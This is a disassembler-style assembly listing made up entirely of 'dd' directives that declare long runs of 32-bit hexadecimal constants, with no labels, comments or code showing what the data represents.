		dd 415BBB32h, 5A8A732Ch, 0DFA0984h, 30B052E9h, 88ECC784h
		dd 0EDE1C25Ah, 0F92809F5h, 28892C01h, 0D6B151E8h, 65F28BC1h
		dd 2F1471BAh, 83ACABF8h, 0E9FFEE04h, 0CEEA4312h, 0E3BD038Bh
		dd 0F07DB31Dh, 33B48CDh, 0E9534CA1h, 0AE85572Bh, 0C13E33E3h
		dd 0DF7C0B33h, 687A5654h, 0B47BF824h, 20C95AD2h, 0C998852Fh
		dd 5BB8EB4Dh, 33A369A8h, 0E2E9BA13h, 443C98F9h,	59580C0Fh
		dd 6555AE69h, 347D3F56h, 0EA312C14h, 4E0377F0h,	856827E7h
		dd 8EAED5D3h, 1592D8Bh,	0FD39F80Ch, 4161E62Eh, 2E2E1FBh
		dd 32596459h, 57B02958h, 0C89FD0F0h, 58B8E93Ch,	0A99726D3h
		dd 7FB95EDFh, 0C3282C4Eh, 0E23A0541h, 7EF1FA8h,	0A004F3Ch
		dd 6F558C0Dh, 0B88FBD79h, 0B20C2AA5h, 0D7542709h, 2CB22567h
		dd 0EB0F0984h, 85C2BE72h, 295C5DE3h, 7A539F74h,	0B55B4CEBh
		dd 24142A42h, 53685480h, 0F1ED264Fh, 1333F684h,	52BEBB12h
		dd 106CACC3h, 572FBB30h, 4FABD4B0h, 5569199Eh, 0BB6F8624h
		dd 495463A7h, 0B45D08A8h, 0DC200135h, 0DC040A8Ah, 55530018h
		dd 26160968h, 4401B74h,	0C43B3ACDh, 0DDA0AFE6h,	97C90BF5h
		dd 10DF3DB8h, 81B5EAFCh, 70002B29h, 40BA7780h, 437BBD5Ah
		dd 56DE8939h, 20A07A59h, 5F12A81Ch, 37BDF731h, 0D4E94781h
		dd 0D3DD2F62h, 0AC67B86Eh, 5D6960E9h, 890A4505h, 69810B4Fh
		dd 132BFB11h, 0C12B01FDh, 214A1036h, 248A303Fh,	40F4B80Fh
		dd 0B7F63629h, 1955FB25h, 0E1205298h, 972C0B6Dh, 40028963h
		dd 0B77C9CE9h, 125E5224h, 0B9CAAFE9h, 0BF0A1062h, 14368861h
		dd 0E6E842DEh, 0EAEADE63h, 0C6C11B6Ah, 13712BA6h, 8A2E5FF8h
		dd 23B69293h, 292099D0h, 10B2875Ch, 5D272FB1h, 65277E54h
		dd 45FA27E1h, 0D873D495h, 8980332Fh, 206812C3h,	123EF342h
		dd 0A2FA2F90h, 92FAD60Dh, 40DE92ABh, 174F5488h,	182DBB31h
		dd 7BC3C800h, 541D484Bh, 0C33A471Dh, 6DF9E97Dh,	0FAB93825h
		dd 0BE295BF1h, 0DA56C65Ch, 0DDB6E162h, 0B1010D66h, 86C9FED3h
		dd 0E9D8F6D9h, 0E3687FD7h, 53ECA759h, 0B17595BAh, 66CD84B0h
		dd 0E9D7D004h, 799AA094h, 9F9ADA50h, 5C264702h,	0F15AD301h
		dd 685E8250h, 9D5956F3h, 0BD373682h, 0DD346A38h, 0B0B706Ah
		dd 4357E409h, 2E514808h, 0AD420530h, 6FEEB951h,	5434D22Dh
		dd 9FFE2575h, 18C36861h, 4878B351h, 8CE08103h, 74489A2Eh
		dd 42BF0415h, 0B8BE7EEBh, 58C51227h, 0ED809265h, 0BFFB08E9h
		dd 0CB48E356h, 961DD602h, 91AEC007h, 0BD23BBF6h, 18CED2Fh
		dd 14194DA4h, 8A7E5445h, 4B7B7AC0h, 64CAE049h, 7C1A592Dh
		dd 6FFC830Ah, 9C046B1Bh, 0D751E2F2h, 0FF20C6AFh, 0F0EF63BDh
		dd 1E8107E3h, 1DAA02F3h, 89EA813Dh, 0CE556001h,	1208C4A8h
		dd 90B8A5Bh, 7572D8E9h,	6842E15Bh, 6CD17764h, 12B04693h
		dd 67309BDh, 49001625h,	4CC104E5h, 17B0E8C0h, 0C091CD9h
		dd 0D2FFE9CDh, 2C77AC30h, 5105D8E0h, 0ED8043B5h, 9C89AD83h
		dd 1EED8CAAh, 60427C41h, 0C76C5DFBh, 2212922Dh,	0F31758E4h
		dd 9DA310E7h, 54250210h, 65B5B6FDh, 0D5478052h,	7B2EBA17h
		dd 4A9DA65Ah, 0C9CC7E91h, 94A0EA04h, 0DEEFF4E8h, 685707AFh
		dd 0A4667BF6h, 0F17C4316h, 0E22744B8h, 6827BA4Eh, 49C7DE5Ch
		dd 871FA567h, 0BE42C700h, 1938DB7Dh, 8951E9BDh,	6EEC7F33h
		dd 4D0176E1h, 4DBB20B8h, 98244A5Fh, 1EACD20Fh, 2B95D76Dh
		dd 0E463E905h, 1C9E51ADh, 32D72F29h, 6771D77Eh,	523754A5h
		dd 0E90C1E5Bh, 1B44719h, 80D4F657h, 2E30D0ECh, 4F42ABE8h
		dd 4DF35CA3h, 0C07CEFAAh
		dd 5AF07B3Ah, 43665224h, 88503903h, 0E9E690ECh,	14329E9Eh
		dd 2C7A5A53h, 434FD10Bh, 69031FEEh, 0A00C01CFh,	2EFB07Bh
		dd 8AB30496h, 0A204B2E9h, 0DC5B8965h, 0E4FC2AFh, 0DEA72956h
		dd 0AA5816F8h, 5A318D8Ah, 4C427676h, 370FB8D8h,	0A5781464h
		dd 0DC343605h, 0A55F5A0Fh, 8CEF2EF4h, 53D60156h, 6F506A1h
		dd 4120BB01h, 6BB1F34Ah, 0C8A77B49h, 1253EAB6h,	0ACA34289h
		dd 0E2A84EAAh, 2771E9C2h, 0BF3820FFh, 98A925ABh, 0A5F73F6Fh
		dd 8BD7882Dh, 0BB472F8h, 9BCFC287h, 0B0F9C55Fh,	0A74A144h
		dd 54C12BBFh, 0F10D969Ah, 29F7DA16h, 5327B110h,	20C9B93Ah
		dd 0AAE91401h, 68C29AA1h, 0B0776038h, 4B376356h, 5EBFC05h
		dd 69277307h, 0FA89F4FBh, 631D4E1Fh, 48AC86FCh,	401E329Dh
		dd 12126D05h, 90AF617Fh, 931F0A2Fh, 4C311012h, 86C4E3E8h
		dd 0DCF6075Ch, 0F7915B75h, 69C80D59h, 301A7BE2h, 5F24AB70h
		dd 5B13DA21h, 8316EAD1h, 0B2EA9884h, 5427CB62h,	0BD993A0h
		dd 1AF51561h, 9D497550h, 0E788CA5Fh, 2DAAA8B0h,	72F38E8Fh
		dd 5B0BA738h, 0BAE9852Eh, 6891D065h, 3BE17B9Ch,	3A0B29FEh
		dd 0F0047916h, 580AD769h, 1C1602A8h, 79FE26C6h,	0A7F7B27h
		dd 60CD80F2h, 41F0BE56h, 1810B33Fh, 681CCFA4h, 0CB4F4B07h
		dd 0DFE04E9Eh, 0A3EF5A2Dh, 29009D1h, 0FEA75515h, 6B6281E7h
		dd 48DFE172h, 0FAE0EFDBh, 0DE959BFEh, 0E380C9B7h, 4ABB31FEh
		dd 3EED8101h, 0D17ED02Bh, 0F26DC0DAh, 436917E5h, 0D8A80421h
		dd 0B477EB79h, 8856026Bh, 0C1090112h, 9EBD4158h, 956B1614h
		dd 62379AFFh, 0C8DBF7E4h, 41C0E909h, 0CD41B91Bh, 85E87BE5h
		dd 80AC9C1Dh, 2AFD6B59h, 2FFFC145h, 0F0824F0h, 31413909h
		dd 0E6185FADh, 3A838660h, 8C35EF31h, 0D4399AABh, 3F976610h
		dd 9DF6B980h, 0C78095F7h, 30AFB5A0h, 0B75B70FDh, 3E58170Eh
		dd 33C43E77h, 1EEB79F3h, 0A138D76Ch, 0F09C32B6h, 0E2FE42E9h
		dd 0AF4E9DFFh, 9154BBFAh, 0CAEED1E9h, 7A0E086Bh, 70169DC3h
		dd 40527A9Ch, 0CBBE995Dh, 3957FB49h, 0AB2A4439h, 84D46924h
		dd 0A66EA8AEh, 0BDF126AAh, 0CBDD4981h, 6FBCDCE8h, 270EA84Fh
		dd 7DD9C2BCh, 8BE27065h, 27EEF138h, 1C20C4D7h, 2F5D9868h
		dd 9EF01675h, 9982062h,	22A04D43h, 0CDE63370h, 3F020E09h
		dd 95BB004Fh, 121DA243h, 0BAC6C3E9h, 61E80932h,	962FC84Dh
		dd 0E97A08C3h, 0C0C5C548h, 68555057h, 64390285h, 0DDF75D6Eh
		dd 0CC7C8040h, 0C3D6BC25h, 58C799EBh, 5283829Dh, 0A5F5FF01h
		dd 16158B30h, 96F8220h,	5A10A672h, 1760518Ah, 7904CA61h
		dd 0E95D096Ah, 9ED52ED9h, 4A2B200Ch, 39EEE990h,	180D3C4Dh
		dd 0E0237AA3h, 0ED51BD12h, 0CBBD5588h, 5B9A4375h, 0A904AA0Ch
		dd 58C1E901h, 0FE59314Ah, 3574AA2Ah, 4E0CD904h,	8E7BB900h
		dd 1FF4FB2Ch, 75B70A4Fh, 0AAEAE982h, 0AA910D46h, 75674509h
		dd 471AC418h, 0A5C8F9B5h, 104208F5h, 7EF7870Bh,	315A6203h
		dd 7F84DA09h, 95FE7209h, 0F7525956h, 56028D45h,	7971D5E9h
		dd 0DD65AFAEh, 5B686602h, 0B0105733h, 609D3EB3h, 4DE952F8h
		dd 81014564h, 0EF7BC8E6h, 0D20C804Fh, 0E967636Dh, 0CEE24DCDh
		dd 0C2265A81h, 20E6657Dh, 0AB04DBC4h, 0FD89E148h, 3F20F050h
		dd 14262D3Bh, 3CD3B587h, 839662BDh, 9B3543EBh, 0FF08DA02h
		dd 770B11A9h, 54EDA97Dh, 0BF18A8C8h, 260BE75Bh,	6F3C9E1h
		dd 0F60D9020h, 0F65DCD03h, 63E4E8E8h, 0ECF08EA6h, 6813D6B2h
		dd 0EEAC7489h, 2A502DC6h, 673E70BFh, 38BB92Ah, 8028329Eh
		dd 94B50705h, 5D58BD2Ah, 9340962Ah, 0FCECC15Ah,	0FA92583Dh
		dd 5EE7BBBFh, 8B4EBC5Ah, 1D74D499h, 162F8581h, 2817BA28h
		dd 8B08C5FAh, 0F90118AAh, 167C3222h, 3521A68h, 0B142155Ch
		dd 0DACBD1D7h, 0D836D925h, 3E1B29E3h, 0A0182A86h, 0A012D813h
		dd 0E7D1FFBEh, 0B382720h, 89E693E4h, 0F02E0125h, 65246864h
		dd 648B7F6Bh, 0A8145504h, 0BCC581B7h, 0DB45264Ch, 0CA41C5BCh
		dd 0B6E90A01h, 0EB4E656Ch, 1915838Fh, 933BCB43h, 40BE0243h
		dd 0DF3AFA0Ah, 0DE579562h, 99E99DD2h, 3EC657CAh, 5B7BEDACh
		dd 0B8B70B3Dh, 0C2F111FFh, 0E7B94CC6h, 535FEE3Ah, 7D8CD7A7h
		dd 1A25F70Ch, 588EDD2Ch, 0E9130854h, 0C0E4C36Ah, 0B55103E8h
		dd 0E5767A76h, 1628073h, 4066E306h, 0B030F7ADh,	0EF4B6925h
		dd 19E6610Fh, 0C50472ABh, 0A80BF0B2h, 664EAB82h, 0E82937E9h
		dd 0B074672Ch, 65DF0513h, 875EDA24h, 2F072D14h,	1F0BEC5Dh
		dd 1FA76856h, 0B5DB7F90h, 1708BE63h, 77CA587Ch,	9A3AD4Fh
		dd 5F4CE32Bh, 0FE291A82h, 90986Ch, 286C9F48h, 0ABE08145h
		dd 98555B80h, 0EC4695Bh, 84B74A01h, 0EFFA9F52h,	6AD5614Ah
		dd 0C27A79A5h, 980FB8FEh, 73F48027h, 983DECF7h,	20F82548h
		dd 0A2BDC9A7h, 3561736Fh, 0E5896003h, 68BA2E05h, 8CC4F931h
		dd 9B221E87h, 9C97A16h,	9CC3F13h, 0F9ABC789h, 9822DF78h
		dd 0C1E4B5E5h, 249E3998h, 2B242C2Ah, 2C0BC7FDh,	3DF68412h
		dd 0DAB45003h, 0FA84A83Dh, 7EBA86A9h, 443FF9E5h, 0D044F7E9h
		dd 0F03058B9h, 0B34DB195h, 0A94E7778h, 0D9FBB4D0h, 5B633C0Bh
		dd 681220BCh, 784CF37Bh, 0EF5DDF29h, 170F1EA8h,	0CE7F6907h
		dd 4C96931Eh, 93199D3h,	30D749CAh, 8647578Fh, 5B45544Ah
		dd 8CEE22DAh, 0D00EB77h, 161B857h, 2BA52CBh, 7FA0228Fh
		dd 5CC2C8E9h, 536AFC12h, 0FB70F8DEh, 0F63C5A8Bh, 506F98CDh
		dd 4F433168h, 23F2DAC5h, 96303C38h, 0E3406A1Ch,	258508EAh
		dd 1C12D83h, 4E38B620h,	0F1EC2018h, 7AFF3909h, 0B350DFFAh
		dd 68DB6E27h, 2D08B4A0h, 0CB481FABh, 9BBF3A33h,	34C8CCEAh
		dd 7849B7C2h, 0AD9B2B5Eh, 0FEC9AF4Eh, 31416E89h, 2F4B8A5Eh
		dd 9994642Dh, 18CA0693h, 69B3BF26h, 4C13FEC5h, 0C0BF5C42h
		dd 15E9C315h, 923D5196h, 2709E3C1h, 57A0C2FAh, 1B706DFCh
		dd 0B492B547h, 822A8477h, 0BBBC35FBh, 0C83A3EC7h, 2EB66884h
		dd 0E81499ABh, 0E69D4920h, 17DE0705h, 20350F12h, 0D27F851h
		dd 0D746F60Ch, 9F73C611h, 681318C6h, 9ECA4B92h,	13D0B65Eh
		dd 60BB2868h, 0F617E20Bh, 4EAECC4h, 9DAFDAEh, 0F7C56D4Bh
		dd 51DF7E41h, 3CFA018Ah, 42907C90h, 14C7250Eh, 0B7891E3Fh
		dd 0FFD15DF2h, 0E9A41069h, 25F560C0h, 0FE1CD1C3h, 2C82F795h
		dd 0FD0B2E48h, 0C54BE446h, 289DF180h, 472C260Ch, 1819024Ch
		dd 246950A2h, 256A6526h, 0F5EC7ADEh, 0F69B344Bh, 5AD01296h
		dd 0DDD646AAh, 0CA2ED97Eh, 0E3082D57h, 0B65F167Ah, 25BC188Ah
		dd 0BC5EF041h, 0AE59696Eh, 781FE98Bh, 0D43005E2h, 0A4DCF65Ah
		dd 58814ABEh, 910AF02Fh, 3571AD41h, 0A6DFA92Fh,	10B9025Eh
		dd 2911974Eh, 605AA2DCh, 3E6E86CEh, 0EE0075F8h,	620105EAh
		dd 615BDBE9h, 485485C9h, 119E808h, 0C869FCB9h, 0E1B34070h
		dd 722D2150h, 0A3301601h, 0FF6DF824h, 97C89D72h, 312A282h
		dd 0AE1829A5h, 586FF87Ah, 0FE1364EFh, 0CF7FFC97h, 0CF3C7E4Fh
		dd 5C6B539Fh, 57003674h, 0E92FA77Fh, 3C4D6B21h,	0CB09667Ch
		dd 4BC44630h, 0B9AEB429h, 4C4B43F2h, 125D9FF4h,	0B70FCCE9h
		dd 0D829007Dh, 354E322Dh, 1242BC7Ch, 12080850h,	0F83B301Eh
		dd 0A3F4159h, 0AEDF6376h, 0D72EA0Dh, 846E45FDh,	12A2BA8Fh
		dd 0EF4064CBh, 80005B66h, 0EA2898F5h, 0B0CAFE59h, 4A254078h
		dd 20876497h, 0C89F1038h, 9F64D863h, 9C9055Eh, 2D68EE3Dh
		dd 19624A68h, 55BA3AF5h
		dd 1059EEC1h, 14F4DB8h,	9C3542CCh, 0FC106B6Dh, 7991457Dh
		dd 0F1ACABC2h, 7A3896Bh, 348BF27Bh, 0CAD2D14Ch,	86642593h
		dd 7797779Ah, 0CDA60E96h, 0D75DEB25h, 133BC7CFh, 0C7640B09h
		dd 372104C1h, 611EE804h, 0CF7D1D3Eh, 55541871h,	0A549081Dh
		dd 6CFA240Ah, 2B68E7D8h, 7A34C12h, 0C27D2B60h, 99D0B9E9h
		dd 9FFBB4Eh, 79F58933h,	5A05617Bh, 51DD305Ch, 5E4A1DB0h
		dd 0E7A2B6ADh, 689518F7h, 16659F3h, 0EF490A81h,	3922F475h
		dd 8421D995h, 80C91BC1h, 37A0F1B9h, 0CA7FD224h,	3EB605BCh
		dd 830232C0h, 62EA7CACh, 6C928DD9h, 2C089860h, 12C15BFEh
		dd 0D877498Bh, 65B7B4FDh, 16F71367h, 0EB2964DFh, 65A13680h
		dd 0E9ED0943h, 0C233532h, 0E5176A60h, 0C6BCF4DBh, 0C9B2C1CCh
		dd 2019DC58h, 22D04EDFh, 9B4A2EF3h, 72E9DC5Dh, 39E4AF61h
		dd 3D7721DDh, 11E157AFh, 0C6E52BB9h, 2A36C97Bh,	0B13458C6h
		dd 8D46828h, 0BB284F96h, 0AD2F8D2Ch, 21636861h,	9270B67Bh
		dd 97D51B56h, 0E707A4AFh, 682E829Dh, 31B97A44h,	0EC151B5Dh
		dd 0F4317A48h, 1704E5C8h, 2FC4FB90h, 3CC2C384h,	2DB57B06h
		dd 53400A5Eh, 4C21CABBh, 9F10B892h, 0CFD13E07h,	0D48079FDh
		dd 210C2C30h, 0ED55489Fh, 1B870D74h, 3F953AE9h,	0D5209A82h
		dd 839647D0h, 0CC80C2C5h, 4E634D2Dh, 12AFAC4Bh,	57372368h
		dd 4A77AC8Fh, 5A10FC46h, 0E85F40A0h, 812F9014h,	3A7CED00h
		dd 52E947C0h, 0EFF9BF09h, 980FC2h, 940E1568h, 0C15E6D05h
		dd 738005E6h, 4AEB9F22h, 63B4FCC2h, 9A7B3096h, 3E25007Fh
		dd 62025548h, 449A5935h, 0DD6A4212h, 2F0C5B2Dh,	0E648FAE8h
		dd 618FB4Bh, 0B04D8B48h, 53D98C7h, 5E0348ACh, 0F717C031h
		dd 393835D8h, 7F01DF21h, 148307D5h, 0E1988020h,	0BA7C2ED9h
		dd 0F96CE916h, 0E8F104A0h, 52B8F921h, 4E2BED06h, 1913C69Fh
		dd 5D0BA853h, 0D5A58976h, 105FADE6h, 80D393C8h,	5113ACBEh
		dd 600807F5h, 0A43E3734h, 0DA3D90D2h, 4326685Bh, 5DCB1464h
		dd 0F1FFFAC2h, 358E0C53h, 0E1338034h, 0B312067Bh, 0ACE2C7C1h
		dd 0A5E5D88h, 0EF395D6Bh, 0DEAEA7F9h, 6AD66242h, 18F8DD12h
		dd 32AFCA1h, 0FEA81058h, 0A5AD3E32h, 9DF27081h,	5BEB1179h
		dd 0F08A1371h, 57775D4Dh, 0DE41B22Fh, 98C66059h, 0CB01B20h
		dd 0E4C0DD5Bh, 0CA2D1B8h, 0C331EF4Dh, 2203ED26h, 1747911h
		dd 86C41DDh, 279E9A01h,	25846D9Ch, 0B3A5D89Ah, 37AC0B51h
		dd 0FBC4B076h, 13511E52h, 40B4E095h, 0D64A7BFCh, 81AC6549h
		dd 0C301178Ah, 0A070FC3Bh, 98261BBDh, 977F9A3Fh, 17DAAFE4h
		dd 5F220B0Ch, 0D125154Ch, 251CCC21h, 2B9A61CAh,	39C1D110h
		dd 4BFB2297h, 84BA0037h, 0A7A3E15h, 14E8A035h, 0C1323783h
		dd 0F344F205h, 68792CABh, 0D3334525h, 0C834681h, 1260E913h
		dd 89374993h, 0D8283654h, 0C9D60813h, 0A4A0205Ch, 0F8D02AF5h
		dd 0F401DD5Eh, 0DBA65CE5h, 0E28991A4h, 0F6F32E22h, 769F7A38h
		dd 0D4B47F13h, 0DA52EA1Ah, 27605DBEh, 8994CC0Fh, 0AC865584h
		dd 0C1EED2F0h, 13542961h, 0B9EDCC52h, 6E2C6607h, 0B11EB50Ch
		dd 0F1E62EB4h, 0E310A712h, 0F358009Ah, 386203A5h, 0F9EB4F68h
		dd 0A3D019CCh, 0B52FC7D5h, 1407ECB7h, 282AD9B7h, 9CF1FAFBh
		dd 660281F1h, 0F16FB450h, 4A006FDEh, 0F07E781h,	2C037B11h
		dd 455EB89Ah, 0D8BBB1ACh, 362D6896h, 0B6A4650h,	4C2673A4h
		dd 7DA3CAF5h, 1366640h,	0E4A38282h, 0D1572937h,	5E753E3Ch
		dd 34D3E4CBh, 778FD1CFh, 767F54E6h, 693ABFCDh, 909CD95Ch
		dd 5A56CD01h, 9D42E2C1h, 590649F4h, 6309036Ch, 0DF44A48h
		dd 5C230442h, 0F99C0C62h, 0F109F72Ah, 3852CE68h, 8A85E942h
		dd 21C2BF5Eh, 6281742Ah, 14DD110Ch, 0B7530141h,	307FB13Fh
		dd 10CB3DF9h, 11583D7Eh, 1C5E5A10h, 3E820C04h, 40345D2Ch
		dd 7358C2B8h, 30E52C80h, 447E2517h, 6440D896h, 950399B8h
		dd 0F92D030Ah, 0F721FE42h, 68A9BEFCh, 6B050801h, 7A7DC0DDh
		dd 0F60534A1h, 5CED5A57h, 3A220DF1h, 4BC322D8h,	9F4B2984h
		dd 0D1302854h, 0B389EB9h, 0CD3156D1h, 6709908Eh, 8B4F977h
		dd 0D924AEEEh, 2A9BF08h, 21B06857h, 0A70B31CCh,	8013EF31h
		dd 3E4DD55Dh, 84494F12h, 0DC81C023h, 315A6BFBh,	4DB9094Dh
		dd 58103760h, 14811D49h, 32EA3064h, 68C30484h, 0C8A303B2h
		dd 0F6196D0Eh, 34CF81C0h, 0E587B43h, 1C1E07D7h,	0CAC053ACh
		dd 0B0BD7CCDh, 50375D41h, 0BE145B3Bh, 984FA7F6h, 0BA0716Bh
		dd 0D92410C6h, 0A50C8169h, 0BBB16F5h, 3C1B63FAh, 24FD0B77h
		dd 0E2AA9090h, 7F24836h, 53372B03h, 0DFAF5EF2h,	65B1A146h
		dd 7FF9E030h, 0C56602Fh, 0E9C779A1h, 94BAD597h,	0BB026F41h
		dd 32691A63h, 15E8DD16h, 862F0ECBh, 65A65101h, 2A41855Ah
		dd 5F5C2718h, 0D1DF1762h, 55C5001h, 0CFFD8809h,	85407FF1h
		dd 1F1E7617h, 0EE145E27h, 68936707h, 6DBF5B14h,	4265D58Fh
		dd 0E350866Fh, 28342D05h, 0B7E6273Bh, 9888FB4Ah, 87B15AE9h
		dd 0C2D33441h, 6D7D0359h, 8C1A118h, 51057E99h, 7582AEB5h
		dd 6EAF54B7h, 46EA16E3h, 3F9E4805h, 0FAF07455h,	5F08A0E9h
		dd 0CEF0F05h, 0C8CB0A7Eh, 0DC8D8F6h, 0E9D02903h, 9DEA9C63h
		dd 7D42EDDCh, 0F0EB01CCh, 584E9B6Eh, 265B0E85h,	0F0FF8501h
		dd 0EE514808h, 791C3A8Ah, 7121C09h, 25788F3Ch, 50BFD340h
		dd 812C3D00h, 627865F5h, 0D0D09F64h, 5E14DE97h,	0F45EE97Fh
		dd 405D14A4h, 0D12D6805h, 45D6FB4Ah, 7E88805Ah,	5E4E2311h
		dd 2E5D5AA4h, 1625DF1Ah, 2C98A10Ch, 0CAEFB48Dh,	49E90973h
		dd 0C3397F2Ah, 0C6A27A53h, 417A5B48h, 0FCF0C1F7h, 0D79866B4h
		dd 0F828481Dh, 805A5B81h, 0C3CC4CEBh, 0E9CCE122h, 0AC2E4E5Ch
		dd 3150DF13h, 11CCBA4Bh, 0FEED2E91h, 0DD084B03h, 0E93A2CBFh
		dd 0B8F545D5h, 9774D825h, 3608F82Bh, 70BF0163h,	0E84D4C19h
		dd 0A0977721h, 3C7FD85h, 0D640F602h, 50192091h,	0C0F8F2B0h
		dd 2ACA5655h, 0F6270BF1h, 7B62E525h, 0CAC579F7h, 0EB798895h
		dd 0E1A7127h, 0D9E49ABDh, 95198043h, 3B0CFD33h,	51092AE9h
		dd 4A580BF7h, 2E8057ADh, 31D4CF8h, 251F18C7h, 53C04114h
		dd 4ECED255h, 1DCC3BDh,	0F8E9C2B4h, 3B92378h, 2674F24Bh
		dd 8A000A9Ah, 9B1ECD8h,	2185F531h, 6855A4C5h, 270EF931h
		dd 416E2A13h, 3CD13B8Ch, 83F12BEBh, 0A207903Ah,	1E011873h
		dd 0FF15E105h, 25432D43h, 37B08CE9h, 5CC70980h,	0C575FA30h
		dd 0A7F09F57h, 0ED27EA48h, 90575D80h, 9DAB20B9h, 0F9F75C17h
		dd 0BF9284B2h, 6800EC8Ah, 440251E2h, 0D6506E9h,	1EB4240h
		dd 9D758D2h, 36A1114Dh,	534F5507h, 26A9A689h, 2B13FF54h
		dd 0EBDB74BBh, 5C8425FCh, 0C26C8031h, 47D22CE9h, 0B2178EECh
		dd 0EB77AA54h, 5AC2EBB3h, 1539AEEFh, 82865930h,	2195545Fh
		dd 67969D21h, 6BEF025Eh, 5F15A90Bh, 0B355E28Bh,	0C3B5FFA1h
		dd 97030AEh, 44B04A27h,	0F9E6AF09h, 69BB7108h, 0F8318C83h
		dd 1AEAAC02h, 0C14F6009h, 24DC6C54h, 0EC6A9D2Eh, 20B20808h
		dd 7E92514h, 70C6C290h,	0F7760E0Ch, 1E3F26D0h, 1E0BAA73h
		dd 41D182D9h, 5F56E0E9h, 33083E24h, 515E0BBEh, 0A9555402h
		dd 76BDDF64h, 0DB5A2F74h, 89F13E29h, 4BE052BEh,	0EC379286h
		dd 0DB7A0BF4h, 93C031DFh, 0D41ABDEAh, 0F7903657h, 29296278h
		dd 7C0BAACEh, 0A52DC516h, 27A2C5D7h, 921085Bh, 0E1FA6A34h
		dd 2C96BC8h, 84FAF96Fh
		dd 0B4AA0B35h, 101228AFh, 7909B7AEh, 0D7D875D3h, 981A245Dh
		dd 0F64156B6h, 17CAF248h, 0A627B0E9h, 63C4105Fh, 7BF7E140h
		dd 20C62CA6h, 3110C1h, 52263BBAh, 16C9BE37h, 0FDC8ADD9h
		dd 0F4FC5A3Ch, 9D3C1E17h, 0AAE93F7Fh, 0AD8C6813h, 116E160Eh
		dd 0F31881E3h, 0DF376518h, 539DDA01h, 0A86A9BBBh, 0AF3DC20h
		dd 639556C4h, 6C2F03EAh, 1801791Fh, 0CAE8BAF7h,	0A421DA29h
		dd 0ED6D912Ah, 0E7CFE46Bh, 0F0EA0132h, 56A9F510h, 28562812h
		dd 0E91502CBh, 0EEE558D7h, 55AFA2CAh, 5912637Ch, 0AEB431A8h
		dd 847612A3h, 0F1CB5B4Eh, 0E8CA4212h, 1336C138h, 0F1E1439Bh
		dd 8234FDFDh, 595CC9F7h, 2688FAF5h, 0CB2ACF2Ch,	0E9504654h
		dd 3EC76360h, 6FB9CB31h, 12D02E4Eh, 2FBB15F2h, 2ED41BA3h
		dd 54C0EC12h, 9541E05h,	0D8293199h, 7A62A402h, 2C28C55Fh
		dd 0DE555202h, 8D652F54h, 2727669Eh, 1328BB8Ah,	11E8542h
		dd 23A5416Eh, 0BE806B29h, 9061A257h, 85E91722h,	4A684114h
		dd 2F0E5234h, 6C533EC2h, 7AD0FE69h, 0D4035878h,	7BFCDF20h
		dd 2C74EFB0h, 0B1B2521Fh, 0F8026BBh, 56CB542h, 0ADDBB5Bh
		dd 0E477FC6Ah, 483F3FC6h, 0D725A658h, 0D601DCE1h, 0B57AECF5h
		dd 3D71555Eh, 4F7FFDA7h, 82CD09F4h, 0D74B7B79h,	71D57D32h
		dd 678B9F2Dh, 51BDCC5h,	25F02571h, 9E57D289h, 61F99F0Fh
		dd 1D0F3208h, 9E388A50h, 1DD78AC0h, 1E558884h, 55EF8109h
		dd 0CD23878h, 4144E1AAh, 2FB572FAh, 8AB671AAh, 9FFB04F0h
		dd 0FFB25EE3h, 0C2BEF4Bh, 45393E2Eh, 58F79135h,	418E7E28h
		dd 8402EC10h, 5C0ACFD7h, 8D89CFA0h, 51954D50h, 4C25D3E2h
		dd 6A7F4A19h, 67C5F1BAh, 0E6596BECh, 67165E65h,	0A84E85A7h
		dd 93E9844Ch, 96683990h, 1258BB18h, 0B837EECCh,	3F2BF783h
		dd 235AB4E5h, 0BF152D3h, 9AA53C41h, 0DFE5575Ch,	1CC05BE4h
		dd 5D1812h, 104E2D5Fh, 0D001196Bh, 67070551h, 5F86382Bh
		dd 0DA15C332h, 109425D3h, 368A8AF9h, 0CE948805h, 16EA4AB1h
		dd 0D709F2F4h, 13809AFAh, 0D71253E9h, 9693B6EBh, 0B0F874FFh
		dd 44007D02h, 0E2812DC2h, 0BDC93379h, 0F3C507Eh, 7FBF4DCCh
		dd 0C580EA8Eh, 7495713Fh, 4B3A1381h, 9FBEF33Ah,	599B1289h
		dd 770C88C0h, 0E76B5728h, 9C14DDA8h, 0BB6076FCh, 7391B926h
		dd 7E6458E6h, 8665EC04h, 63841C2Ch, 55015BADh, 3160A1C9h
		dd 0DD0BFED7h, 6CC7D42Fh, 433DD34Ah, 3898E989h,	35400011h
		dd 57E11083h, 40F020Dh,	19E9342Ch, 0F6C520DDh, 4B9B53C6h
		dd 0B0DBAC2Dh, 13130FABh, 0B075E978h, 3398490Eh, 0EC309641h
		dd 937C00E1h, 18055857h, 0BC4F26C9h, 0A917AEFCh, 598B2C0Eh
		dd 0DA5F682Dh, 0BF2208Ch, 3C09059Dh, 457310BFh,	3C6FD8A0h
		dd 10C44950h, 17EFBFD7h, 587BB65h, 0EA97DA27h, 302189Ch
		dd 5398B551h, 0FD8299B7h, 952BE760h, 98F33180h,	4FB3361h
		dd 0D4FBD0A5h, 99E7AAE4h, 16D9A019h, 9FFC3A05h,	0A7965D3Dh
		dd 0F277ABC4h, 58F3ECE4h, 18FD0B04h, 3A05AB08h,	4198D931h
		dd 204F0F89h, 0EDDF759h, 4BFAB850h, 0CC0AE057h,	0B2279F0Bh
		dd 0E651824Ch, 2983C6DEh, 0D9155536h, 367FD0DBh, 0C2906069h
		dd 995C9F40h, 0E5F184F9h, 790A92FEh, 0F0A642D5h, 1BE6BDCDh
		dd 926AE92Ah, 2A906804h, 5DB8274Ch, 890F9231h, 8605E7CBh
		dd 62191457h, 79391CBBh, 0EE91C8Bh, 66B7BBD0h, 0F80D3B99h
		dd 0F72E1700h, 610540D8h, 52AB6716h, 0A060D21Dh, 0B5EFF301h
		dd 20058CC9h, 1A7CCC80h, 51646560h, 9D203463h, 890B69D8h
		dd 0A95559CDh, 58B55E9Ah, 135BDCE9h, 17E95BEEh,	0FE295E80h
		dd 0F4EC875Fh, 512ACF07h, 834FB013h, 681201EFh,	0EEE36177h
		dd 50FAD407h, 0B4C7E593h, 274A3CDDh, 578064E3h,	110948BFh
		dd 0CE801F5Ah, 96533FE9h, 83D5A54Ch, 0E9F30130h, 1A9A70C3h
		dd 2F5FE45Ah, 0DB9E8555h, 4EF390F5h, 1418BA1Ch,	33574F44h
		dd 696C478Dh, 0A7E1DC82h, 42C2BFBh, 0A2F61FEh, 3E627568h
